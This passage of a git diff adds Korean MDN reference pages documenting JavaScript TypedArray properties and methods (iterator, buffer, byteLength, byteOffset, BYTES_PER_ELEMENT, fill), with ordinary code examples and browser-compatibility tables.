+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+ <tr>
+ <th>Feature</th>
+ <th>Android</th>
+ <th>Chrome for Android</th>
+ <th>Firefox Mobile (Gecko)</th>
+ <th>IE Mobile</th>
+ <th>Opera Mobile</th>
+ <th>Safari Mobile</th>
+ </tr>
+ <tr>
+ <td>Basic support</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="참조">참조</h2>
+
+<ul>
+ <li>{{jsxref("Error.prototype")}}</li>
+ <li>{{jsxref("Function.prototype")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/typedarray/@@iterator/index.html b/files/ko/web/javascript/reference/global_objects/typedarray/@@iterator/index.html
new file mode 100644
index 0000000000..ded3d1c973
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/typedarray/@@iterator/index.html
@@ -0,0 +1,127 @@
+---
+title: 'TypedArray.prototype[@@iterator]()'
+slug: Web/JavaScript/Reference/Global_Objects/TypedArray/@@iterator
+tags:
+ - Iterator
+ - JavaScript
+ - Method
+ - Prototype
+ - TypedArray
+translation_of: Web/JavaScript/Reference/Global_Objects/TypedArray/@@iterator
+---
+<div>{{JSRef}}</div>
+
+<p>@@iterator 속성의 초기값은 {{jsxref("TypedArray.prototype.values()", "values")}} 속성의 초기값과 같은 함수 객체입니다.</p>
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox"><code><var>arr</var>[Symbol.iterator]()</code></pre>
+
+<h2 id="예">예</h2>
+
+<h3 id="for...of_루프를_사용하는_반복"><code>for...of</code> 루프를 사용하는 반복</h3>
+
+<pre class="brush: js">var arr = new Uint8Array([10, 20, 30, 40, 50]);
+// 브라우저가 for..of 루프 및 for 루프에서
+// let 스코프인 변수를 지원해야 합니다
+for (let n of arr) {
+ console.log(n);
+}
+</pre>
+
+<h3 id="대안_반복">대안 반복</h3>
+
+<pre class="brush: js">var arr = new Uint8Array([10, 20, 30, 40, 50]);
+var eArr = arr[Symbol.iterator]();
+console.log(eArr.next().value); // 10
+console.log(eArr.next().value); // 20
+console.log(eArr.next().value); // 30
+console.log(eArr.next().value); // 40
+console.log(eArr.next().value); // 50
+</pre>
+
+<h2 id="스펙">스펙</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">스펙</th>
+ <th scope="col">상태</th>
+ <th scope="col">설명</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES6', '#sec-%typedarray%.prototype-@@iterator', '%TypedArray%.prototype[@@iterator]()')}}</td>
+ <td>{{Spec2('ES6')}}</td>
+ <td>초기 정의.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ESDraft', '#sec-%typedarray%.prototype-@@iterator', '%TypedArray%.prototype[@@iterator]()')}}</td>
+ <td>{{Spec2('ESDraft')}}</td>
+ <td> </td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+ <tr>
+ <th>Feature</th>
+ <th>Chrome</th>
+ <th>Firefox (Gecko)</th>
+ <th>Internet Explorer</th>
+ <th>Opera</th>
+ <th>Safari</th>
+ </tr>
+ <tr>
+ <td>Basic support</td>
+ <td>{{ CompatVersionUnknown }}</td>
+ <td>{{ CompatGeckoDesktop("36") }} [1]</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatNo}}</td>
+ </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+ <tr>
+ <th>Feature</th>
+ <th>Android</th>
+ <th>Chrome for Android</th>
+ <th>Firefox Mobile (Gecko)</th>
+ <th>IE Mobile</th>
+ <th>Opera Mobile</th>
+ <th>Safari Mobile</th>
+ </tr>
+ <tr>
+ <td>Basic support</td>
+ <td>{{CompatNo}}</td>
+ <td>{{ CompatVersionUnknown }}</td>
+ <td>{{ CompatGeckoMobile("36") }} [1]</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatNo}}</td>
+ </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] Gecko 17 (Firefox 17 / Thunderbird 17 / SeaMonkey 2.14)에서 Gecko 26 (Firefox 26 / Thunderbird 26 / SeaMonkey 2.23 / Firefox OS 1.2)까지는 <code>iterator</code> 속성이 쓰였고(<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=907077">bug 907077</a>), Gecko 27에서 Gecko 35까지는 <code>"@@iterator"</code> placeholder가 사용됐습니다. Gecko 36 (Firefox 36 / Thunderbird 36 / SeaMonkey 2.33)에서는, <code>@@iterator</code> <a href="/ko/docs/Web/JavaScript/Reference/Global_Objects/Symbol">symbol</a>이 구현됐습니다 (<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=918828">bug 918828</a>).</p>
+
+<h2 id="참조">참조</h2>
+
+<ul>
+ <li><a href="/ko/docs/Web/JavaScript/Typed_arrays">JavaScript 형식화 배열</a></li>
+ <li>{{jsxref("TypedArray")}}</li>
+ <li>{{jsxref("TypedArray.prototype.entries()")}}</li>
+ <li>{{jsxref("TypedArray.prototype.keys()")}}</li>
+ <li>{{jsxref("TypedArray.prototype.values()")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/typedarray/buffer/index.html b/files/ko/web/javascript/reference/global_objects/typedarray/buffer/index.html
new file mode 100644
index 0000000000..702fe13eb7
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/typedarray/buffer/index.html
@@ -0,0 +1,111 @@
+---
+title: TypedArray.prototype.buffer
+slug: Web/JavaScript/Reference/Global_Objects/TypedArray/buffer
+tags:
+ - JavaScript
+ - Property
+ - Prototype
+ - TypedArray
+translation_of: Web/JavaScript/Reference/Global_Objects/TypedArray/buffer
+---
+<div>{{JSRef}}</div>
+
+<p><strong><code>buffer</code></strong> 접근자(accessor) 속성(property)은 생성 시간에 <em>TypedArray</em>에 의해 참조되는 {{jsxref("ArrayBuffer")}}를 나타냅니다.</p>
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox"><var>typedArray</var>.buffer</pre>
+
+<h2 id="설명">설명</h2>
+
+<p><code>buffer</code> 속성은 set 접근자 함수가 <code>undefined</code>인 접근자 속성입니다, 이 속성을 읽을 수만 있음을 뜻하는. 그 값은 <em>TypedArray</em>가 만들어질 때 수립되어 변경될 수 없습니다. <em>TypedArray</em>는 <a href="/ko/docs/Web/JavaScript/Reference/Global_Objects/TypedArray#TypedArray_객체">TypedArray 객체 유형</a> 중 하나입니다.</p>
+
+<h2 id="예">예</h2>
+
+<h3 id="buffer_속성_사용"><code>buffer</code> 속성 사용</h3>
+
+<pre class="brush:js">var buffer = new ArrayBuffer(8);
+var uint16 = new Uint16Array(buffer);
+uint16.buffer; // ArrayBuffer { byteLength: 8 }
+</pre>
+
+<h2 id="스펙">스펙</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">스펙</th>
+ <th scope="col">상태</th>
+ <th scope="col">설명</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES6', '#sec-get-%typedarray%.prototype.buffer', 'TypedArray.prototype.buffer')}}</td>
+ <td>{{Spec2('ES6')}}</td>
+ <td>초기 정의.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ESDraft', '#sec-get-%typedarray%.prototype.buffer', 'TypedArray.prototype.buffer')}}</td>
+ <td>{{Spec2('ESDraft')}}</td>
+ <td> </td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+ <tr>
+ <th>Feature</th>
+ <th>Chrome</th>
+ <th>Firefox (Gecko)</th>
+ <th>Internet Explorer</th>
+ <th>Opera</th>
+ <th>Safari</th>
+ </tr>
+ <tr>
+ <td>Basic support</td>
+ <td>7.0</td>
+ <td>{{ CompatGeckoDesktop("2") }}</td>
+ <td>10</td>
+ <td>11.6</td>
+ <td>5.1</td>
+ </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+ <tr>
+ <th>Feature</th>
+ <th>Android</th>
+ <th>Chrome for Android</th>
+ <th>Firefox Mobile (Gecko)</th>
+ <th>IE Mobile</th>
+ <th>Opera Mobile</th>
+ <th>Safari Mobile</th>
+ </tr>
+ <tr>
+ <td>Basic support</td>
+ <td>4.0</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{ CompatGeckoMobile("2") }}</td>
+ <td>10</td>
+ <td>11.6</td>
+ <td>4.2</td>
+ </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="참조">참조</h2>
+
+<ul>
+ <li><a href="/ko/docs/Web/JavaScript/Typed_arrays">JavaScript 형식화 배열</a></li>
+ <li>{{jsxref("TypedArray")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/typedarray/bytelength/index.html b/files/ko/web/javascript/reference/global_objects/typedarray/bytelength/index.html
new file mode 100644
index 0000000000..37a12d927a
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/typedarray/bytelength/index.html
@@ -0,0 +1,73 @@
+---
+title: TypedArray.prototype.byteLength
+slug: Web/JavaScript/Reference/Global_Objects/TypedArray/byteLength
+tags:
+ - JavaScript
+ - Property
+ - Prototype
+ - Reference
+ - TypedArray
+translation_of: Web/JavaScript/Reference/Global_Objects/TypedArray/byteLength
+---
+<div>{{JSRef}}</div>
+
+<p><strong><code>byteLength</code></strong> 접근자(accessor) 속성(property)은 형식화 배열의 길이(바이트 단위)를 나타냅니다.</p>
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox"><var>typedarray</var>.byteLength</pre>
+
+<h2 id="설명">설명</h2>
+
+<p><code>byteLength</code> 속성은 접근자 함수가 <code>undefined</code>인 접근자 속성입니다, 이 속성을 읽을 수만 있음을 뜻하는. 그 값은 <em>TypedArray</em>가 만들어질 때 수립되어 변경될 수 없습니다. <em>TypedArray</em>에 <code>byteOffset</code> 또는 <code>length</code>를 지정하지 않은 경우, 참조되는 <code>ArrayBuffer</code>의 <code>length</code>가 반환됩니다. <em>TypedArray</em>는 <a href="/ko/docs/Web/JavaScript/Reference/Global_Objects/TypedArray#TypedArray_객체">TypedArray 객체 유형</a> 중 하나입니다.</p>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="byteLength_속성_사용"><code>byteLength</code> 속성 사용</h3>
+
+<pre class="brush:js">var buffer = new ArrayBuffer(8);
+
+var uint8 = new Uint8Array(buffer);
+uint8.byteLength; // 8 (버퍼의 byteLength와 일치)
+
+var uint8 = new Uint8Array(buffer, 1, 5);
+uint8.byteLength; // 5 (Uint8Array를 만들 때 지정된 대로)
+
+var uint8 = new Uint8Array(buffer, 2);
+uint8.byteLength; // 6 (만든 Uint8Array의 오프셋으로 인해)
+</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">명세</th>
+ <th scope="col">상태</th>
+ <th scope="col">설명</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES6', '#sec-get-%typedarray%.prototype.bytelength', 'TypedArray.prototype.byteLength')}}</td>
+ <td>{{Spec2('ES6')}}</td>
+ <td>초기 정의.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ESDraft', '#sec-get-%typedarray%.prototype.bytelength', 'TypedArray.prototype.byteLength')}}</td>
+ <td>{{Spec2('ESDraft')}}</td>
+ <td> </td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("javascript.builtins.TypedArray.byteLength")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li><a href="/ko/docs/Web/JavaScript/Typed_arrays">JavaScript 형식화 배열</a></li>
+ <li>{{jsxref("TypedArray")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/typedarray/byteoffset/index.html b/files/ko/web/javascript/reference/global_objects/typedarray/byteoffset/index.html
new file mode 100644
index 0000000000..3be7af84cd
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/typedarray/byteoffset/index.html
@@ -0,0 +1,69 @@
+---
+title: TypedArray.prototype.byteOffset
+slug: Web/JavaScript/Reference/Global_Objects/TypedArray/byteOffset
+tags:
+ - JavaScript
+ - Property
+ - Prototype
+ - TypedArray
+translation_of: Web/JavaScript/Reference/Global_Objects/TypedArray/byteOffset
+---
+<div>{{JSRef}}</div>
+
+<p><strong><code>byteOffset</code></strong> 접근자(accessor) 속성(property)은 그 {{jsxref("ArrayBuffer")}}의 시작점에서 형식화 배열의 오프셋(단위 바이트)을 나타냅니다.</p>
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox"><var>typedarray</var>.byteOffset</pre>
+
+<h2 id="설명">설명</h2>
+
+<p><code>byteOffset</code> 속성은 set 접근자 함수가 <code>undefined</code>인 접근자 속성입니다, 이 속성을 읽을 수만 있음을 뜻하는. 그 값은 <em>TypedArray</em>가 만들어질 때 수립되어 변경될 수 없습니다. <em>TypedArray</em>는 <a href="/ko/docs/Web/JavaScript/Reference/Global_Objects/TypedArray#TypedArray_객체">TypedArray 객체 유형</a> 중 하나입니다.</p>
+
+<h2 id="예">예</h2>
+
+<h3 id="byteOffset_속성_사용"><code>byteOffset</code> 속성 사용</h3>
+
+<pre class="brush:js">var buffer = new ArrayBuffer(8);
+
+var uint8 = new Uint8Array(buffer);
+uint8.byteOffset; // 0 (지정된 오프셋이 없음)
+
+var uint8 = new Uint8Array(buffer, 3);
+uint8.byteOffset; // 3 (Uint8Array를 만들 때 지정된 대로)
+</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">스펙</th>
+ <th scope="col">상태</th>
+ <th scope="col">설명</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES6', '#sec-get-%typedarray%.prototype.byteoffset', 'TypedArray.prototype.byteOffset')}}</td>
+ <td>{{Spec2('ES6')}}</td>
+ <td>초기 정의.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ESDraft', '#sec-get-%typedarray%.prototype.byteoffset', 'TypedArray.prototype.byteOffset')}}</td>
+ <td>{{Spec2('ESDraft')}}</td>
+ <td> </td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("javascript.builtins.TypedArray.byteOffset")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li><a href="/ko/docs/Web/JavaScript/Typed_arrays">JavaScript 형식화 배열</a></li>
+ <li>{{jsxref("TypedArray")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/typedarray/bytes_per_element/index.html b/files/ko/web/javascript/reference/global_objects/typedarray/bytes_per_element/index.html
new file mode 100644
index 0000000000..563b7856cc
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/typedarray/bytes_per_element/index.html
@@ -0,0 +1,75 @@
+---
+title: TypedArray.BYTES_PER_ELEMENT
+slug: Web/JavaScript/Reference/Global_Objects/TypedArray/BYTES_PER_ELEMENT
+tags:
+ - JavaScript
+ - Property
+ - Reference
+ - TypedArray
+translation_of: Web/JavaScript/Reference/Global_Objects/TypedArray/BYTES_PER_ELEMENT
+---
+<div>{{JSRef}}</div>
+
+<p><code><strong>TypedArray.BYTES_PER_ELEMENT</strong></code> 속성은 각 형식화 배열 요소의 크기를 바이트로 나타냅니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/typedarray-bytes-per-element.html")}}</div>
+
+
+
+<div>{{js_property_attributes(0,0,0)}}</div>
+
+<h2 id="설명">설명</h2>
+
+<p>TypedArray 객체는 요소 당 바이트 수 및 바이트가 해석되는 방법으로 서로 다릅니다. <code>BYTES_PER_ELEMENT</code> 상수는 주어진 TypedArray의 각 요소가 갖는 바이트 수를 포함합니다.</p>
+
+<h2 id="예제">예제</h2>
+
+<pre class="brush:js">Int8Array.BYTES_PER_ELEMENT; // 1
+Uint8Array.BYTES_PER_ELEMENT; // 1
+Uint8ClampedArray.BYTES_PER_ELEMENT; // 1
+Int16Array.BYTES_PER_ELEMENT; // 2
+Uint16Array.BYTES_PER_ELEMENT; // 2
+Int32Array.BYTES_PER_ELEMENT; // 4
+Uint32Array.BYTES_PER_ELEMENT; // 4
+Float32Array.BYTES_PER_ELEMENT; // 4
+Float64Array.BYTES_PER_ELEMENT; // 8</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">명세</th>
+ <th scope="col">상태</th>
+ <th scope="col">설명</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('Typed Array')}}</td>
+ <td>{{Spec2('Typed Array')}}</td>
+ <td>ECMAScript 6로 대체됨.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES6', '#sec-typedarray.bytes_per_element', 'TypedArray.BYTES_PER_ELEMENT')}}</td>
+ <td>{{Spec2('ES6')}}</td>
+ <td>ECMA 표준에서 초기 정의.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ESDraft', '#sec-typedarray.bytes_per_element', 'TypedArray.BYTES_PER_ELEMENT')}}</td>
+ <td>{{Spec2('ESDraft')}}</td>
+ <td> </td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("javascript.builtins.TypedArray.BYTES_PER_ELEMENT")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li><a href="/ko/docs/Web/JavaScript/Typed_arrays">JavaScript 형식화 배열</a></li>
+ <li>{{jsxref("TypedArray")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/typedarray/fill/index.html b/files/ko/web/javascript/reference/global_objects/typedarray/fill/index.html
new file mode 100644
index 0000000000..8e315fc201
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/typedarray/fill/index.html
@@ -0,0 +1,75 @@
+---
+title: TypedArray.prototype.fill()
+slug: Web/JavaScript/Reference/Global_Objects/TypedArray/fill
+tags:
+ - ECMAScript 2015
+ - JavaScript
+ - Method
+ - Prototype
+ - TypedArray
+translation_of: Web/JavaScript/Reference/Global_Objects/TypedArray/fill
+---
+<div>{{JSRef}}</div>
+
+<p><strong><code>fill()</code></strong> 메서드는 배열의 모든 요소를 지정한 시작 인덱스부터 종료 인덱스까지 정적인 값으로 채웁니다. <code>fill()</code>은 {{jsxref("Array.prototype.fill()")}}과 동일한 알고리즘을 가지고 있습니다. TypedArray 는 <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/TypedArray#TypedArray_objects">typed array types</a> 이곳에 있는 것 중 하나 입니다.</p>
+
+<p>{{EmbedInteractiveExample("pages/js/typedarray-fill.html")}}</p>
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox"><code><var>typedarray</var>.<code>fill(<var>value</var>[, <var>start<var> = 0[, <var>end</var> = this.length]])</var></var></code></code></pre>
+
+<h3 id="매개변수">매개변수</h3>
+
+<dl>
+ <dt><code>value</code></dt>
+ <dd>배열에 채워넣을 값.</dd>
+ <dt><code>start</code></dt>
+ <dd>선택사항. 시작 위치. 기본값은 0.</dd>
+ <dt><code>end</code></dt>
+ <dd>선택사항. 종료 위치 (종료위치를 포함하지않습니다. 즉, end -1 까지만 해당됩니다.). 기본값 this.length(배열의 길이).</dd>
+</dl>
+
+<h2 id="설명">설명</h2>
+
+<p>start 와 end 사이에 요소들을 채웁니다.</p>
+
+<p><strong><code>fill</code></strong> 메소드는 value, start 그리고 and 3개의 매개변수를 요구합니다. start 와 end 매개변수는 선택사항이며 기본값은 0 과 지정한 배열객체의 길이값 입니다.</p>
+
+<p>만약 start 매개변수가 음수이면, start 의 값은 배열의 길이값을 합한 결과가 시작지점이 되고, 만약 end 가 음수라면, end 매개변수와 배열의 길이값을 합한 결과가 종료지점이 됩니다.</p>
+
+<h2 id="예제">예제</h2>
+
+<pre class="brush: js">new Uint8Array([1, 2, 3]).fill(4); // Uint8Array [4, 4, 4]
+new Uint8Array([1, 2, 3]).fill(4, 1); // Uint8Array [1, 4, 4]
+new Uint8Array([1, 2, 3]).fill(4, 1, 2); // Uint8Array [1, 4, 3]
+new Uint8Array([1, 2, 3]).fill(4, 1, 1); // Uint8Array [1, 2, 3]
+new Uint8Array([1, 2, 3]).fill(4, -3, -2); // Uint8Array [4, 2, 3]
+</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES6', '#sec-%typedarray%.prototype.fill', 'TypedArray.prototype.fill')}}</td>
+ <td>{{Spec2('ES6')}}</td>
+ <td>Initial definition.</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<p>{{Compat("javascript.builtins.TypedArray.fill")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{jsxref("Array.prototype.fill()")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/typedarray/index.html b/files/ko/web/javascript/reference/global_objects/typedarray/index.html
new file mode 100644
index 0000000000..3f4edc9970
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/typedarray/index.html
@@ -0,0 +1,342 @@
+---
+title: TypedArray
+slug: Web/JavaScript/Reference/Global_Objects/TypedArray
+tags:
+ - JavaScript
+ - TypedArray
+ - TypedArrays
+translation_of: Web/JavaScript/Reference/Global_Objects/TypedArray
+---
+<div>{{JSRef}}</div>
+
+<p><strong><em>TypedArray</em></strong> 객체는 밑에 깔린 <a href="/ko/docs/Web/JavaScript/Reference/Global_Objects/ArrayBuffer">이진 데이터 버퍼</a>의 배열 같은 뷰를 기술합니다. <code>TypedArray</code>인 전역 속성도 눈에 직접 보이는 <code>TypedArray</code> 생성자도 없습니다. 대신 다양한 전역 속성이 있습니다, 그 값이 아래 나열된 특정 요소 유형에 대한 형식화 배열 생성자인. 다음 페이지에서 각 유형 요소를 포함하는 모든 형식화 배열에 쓰일 수 있는 공통 속성 및 메서드를 찾을 수 있습니다.</p>
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox">new<em> TypedArray</em>(length);
+new <em>TypedArray</em>(typedArray);
+new <em>TypedArray</em>(object);
+new <em>TypedArray</em>(buffer [, byteOffset [, length]]);
+
+<em>TypedArray()</em>는 다음 중 하나입니다:
+
+Int8Array();
+Uint8Array();
+Uint8ClampedArray();
+Int16Array();
+Uint16Array();
+Int32Array();
+Uint32Array();
+Float32Array();
+Float64Array();
+</pre>
+
+<h3 id="매개변수">매개변수</h3>
+
+<dl>
+ <dt>length</dt>
+ <dd><code>length</code> 인수와 함께 호출하면 메모리상에 길이에 BYTES_PER_ELEMENT bytes(바이트)를 곱한 크기만큼의, 0을 포함한 이진 데이터 버퍼를 생성합니다.</dd>
+ <dt>typedArray</dt>
+ <dd><code>typedArray</code> 인수와 함께 호출하면, 모든 형식화 배열 객체 유형(가령 <code>Int32Array</code>)이 될 수 있는, <code>typedArray</code>는 새로운 형식화 배열로 복사됩니다. <code>typedArray</code> 내 각 값은 새로운 배열로 복사되기 전에 해당 유형의 생성자로 변환됩니다.</dd>
+ <dt>object</dt>
+ <dd><code>object</code> 인수와 함께 호출하면, 새로운 형식화 배열이 마치 <code><em>TypedArray</em>.from()</code> 메서드에 의해서처럼 생성됩니다.</dd>
+ <dt>buffer, byteOffset, length</dt>
+ <dd><code>buffer</code>와 선택 사항으로 <code>byteOffset</code> 및 <code>length</code> 인수와 함께 호출하면, 새로운 형식화 배열 뷰는 지정된 {{jsxref("ArrayBuffer")}} 뷰로 생성됩니다. <code>byteOffset</code> 및 <code>length</code> 매개변수는 형식화 배열 뷰에 의해 노출되는 메모리 범위를 지정합니다. 둘 다 생략된 경우, <code>buffer</code>가 모두 보입니다; <code>length</code>만 생략된 경우, <code>buffer</code>의 나머지가 보입니다.</dd>
+</dl>
+
+<h2 id="설명">설명</h2>
+
+<p>ECMAScript 6는 모든 <em>TypedArray</em> 생성자의 <code>[[Prototype]]</code> 역할을 하는 <em>TypedArray</em> 생성자를 정의합니다. 이 생성자는 직접 노출되지 않습니다: 전역 <code>%TypedArray%</code> 또는 <code>TypedArray</code> 속성은 없습니다. <code>Object.getPrototypeOf(Int8Array.prototype)</code> 및 비슷한 방식을 통해서만 직접 접근할 수 있습니다. 모든 <em>TypedArray</em> 생성자는 <code>%TypedArray%</code> 생성자 함수로부터 공통 속성을 상속합니다. 게다가, 모든 형식화 배열 프로토타입(<em>TypedArray</em><code>.prototype</code>)은 자기 <code>[[Prototype]]</code>으로서 <code>%TypedArray%.prototype</code>이 있습니다.</p>
+
+<p><code>%TypedArray%</code> 생성자 자체로는 특별히 유용한 것은 아닙니다. 호출하거나 <code>new</code> 식으로 사용하면 <code>TypeError</code>가 발생합니다, 서브클래싱을 지원하는 JS 엔진에서 객체 생성 도중 사용될 때 빼고는. 현재로서는 그러한 엔진이 없기에 <code>%TypedArray%</code>는 모든 <em>TypedArray</em> 생성자에 함수 또는 속성을 폴리필할 때만 유용합니다.</p>
+
+<h3 id="속성_접근">속성 접근</h3>
+
+<p>표준 배열 인덱스 구문(즉, 각괄호 표기법)을 써서 배열의 요소를 참조할 수 있습니다. 그러나, 형식화 배열에 인덱스 있는 속성의 읽기(getting) 또는 쓰기(setting)는 이 속성에 대한 프로토타입 체인에서 찾을 수 없습니다, 심지어 인덱스가 범위 밖인 경우라도. 인덱스 있는 속성은 {{jsxref("ArrayBuffer")}}를 조사하고 객체 속성을 조사하지는 않습니다. 여전히 유명 속성을 사용할 수 있습니다, 모든 객체와 마찬가지로.</p>
+
+<pre class="brush: js">// 표준 배열 구문을 사용해 쓰기 및 읽기
+var int16 = new Int16Array(2);
+int16[0] = 42;
+console.log(int16[0]); // 42
+
+// 프로토타입의 인덱스 있는 속성은 조사되지 않음 (Fx 25)
+Int8Array.prototype[20] = "foo";
+(new Int8Array(32))[20]; // 0
+// 비록 범위 밖 또는
+Int8Array.prototype[20] = "foo";
+(new Int8Array(8))[20]; // undefined
+// 음의 정수인 경우에도
+Int8Array.prototype[-1] = "foo";
+(new Int8Array(8))[-1]; // undefined
+
+// 유명(named) 속성은 허용됨, 다만 (Fx 30) 에서지만
+Int8Array.prototype.foo = "bar";
+(new Int8Array(32)).foo; // "bar"</pre>
+
+<h2 id="TypedArray_객체">TypedArray 객체</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <td class="header">유형</td>
+ <td class="header">크기 (바이트)</td>
+ <td class="header">설명</td>
+ <td class="header">Web IDL 형</td>
+ <td class="header">해당 C 형</td>
+ </tr>
+ <tr>
+ <td>{{jsxref("Int8Array")}}</td>
+ <td>1</td>
+ <td>8비트 2의 보수 형식 부호 있는 정수</td>
+ <td><code>byte</code></td>
+ <td><code>int8_t</code></td>
+ </tr>
+ <tr>
+ <td>{{jsxref("Uint8Array")}}</td>
+ <td>1</td>
+ <td>8비트 부호 없는 정수</td>
+ <td><code>octet</code></td>
+ <td><code>uint8_t</code></td>
+ </tr>
+ <tr>
+ <td>{{jsxref("Uint8ClampedArray")}}</td>
+ <td>1</td>
+ <td>8비트 부호 없는 정수 (단속됨)</td>
+ <td><code>octet</code></td>
+ <td><code>uint8_t</code></td>
+ </tr>
+ <tr>
+ <td>{{jsxref("Int16Array")}}</td>
+ <td>2</td>
+ <td>16비트 2의 보수 형식 부호 있는 정수</td>
+ <td><code>short</code></td>
+ <td><code>int16_t</code></td>
+ </tr>
+ <tr>
+ <td>{{jsxref("Uint16Array")}}</td>
+ <td>2</td>
+ <td>16비트 부호 없는 정수</td>
+ <td><code>unsigned short</code></td>
+ <td><code>uint16_t</code></td>
+ </tr>
+ <tr>
+ <td>{{jsxref("Int32Array")}}</td>
+ <td>4</td>
+ <td>32비트 2의 보수 형식 부호 있는 정수</td>
+ <td><code>long</code></td>
+ <td><code>int32_t</code></td>
+ </tr>
+ <tr>
+ <td>{{jsxref("Uint32Array")}}</td>
+ <td>4</td>
+ <td>32비트 부호 없는 정수</td>
+ <td><code>unsigned long</code></td>
+ <td><code>uint32_t</code></td>
+ </tr>
+ <tr>
+ <td>{{jsxref("Float32Array")}}</td>
+ <td>4</td>
+ <td>32비트 IEEE 부동 소수점 수</td>
+ <td><code>unrestricted float</code></td>
+ <td><code>float</code></td>
+ </tr>
+ <tr>
+ <td>{{jsxref("Float64Array")}}</td>
+ <td>8</td>
+ <td>64비트 IEEE 부동 소수점 수</td>
+ <td><code>unrestricted double</code></td>
+ <td><code>double</code></td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="속성">속성</h2>
+
+<dl>
+ <dt>{{jsxref("TypedArray.BYTES_PER_ELEMENT")}}</dt>
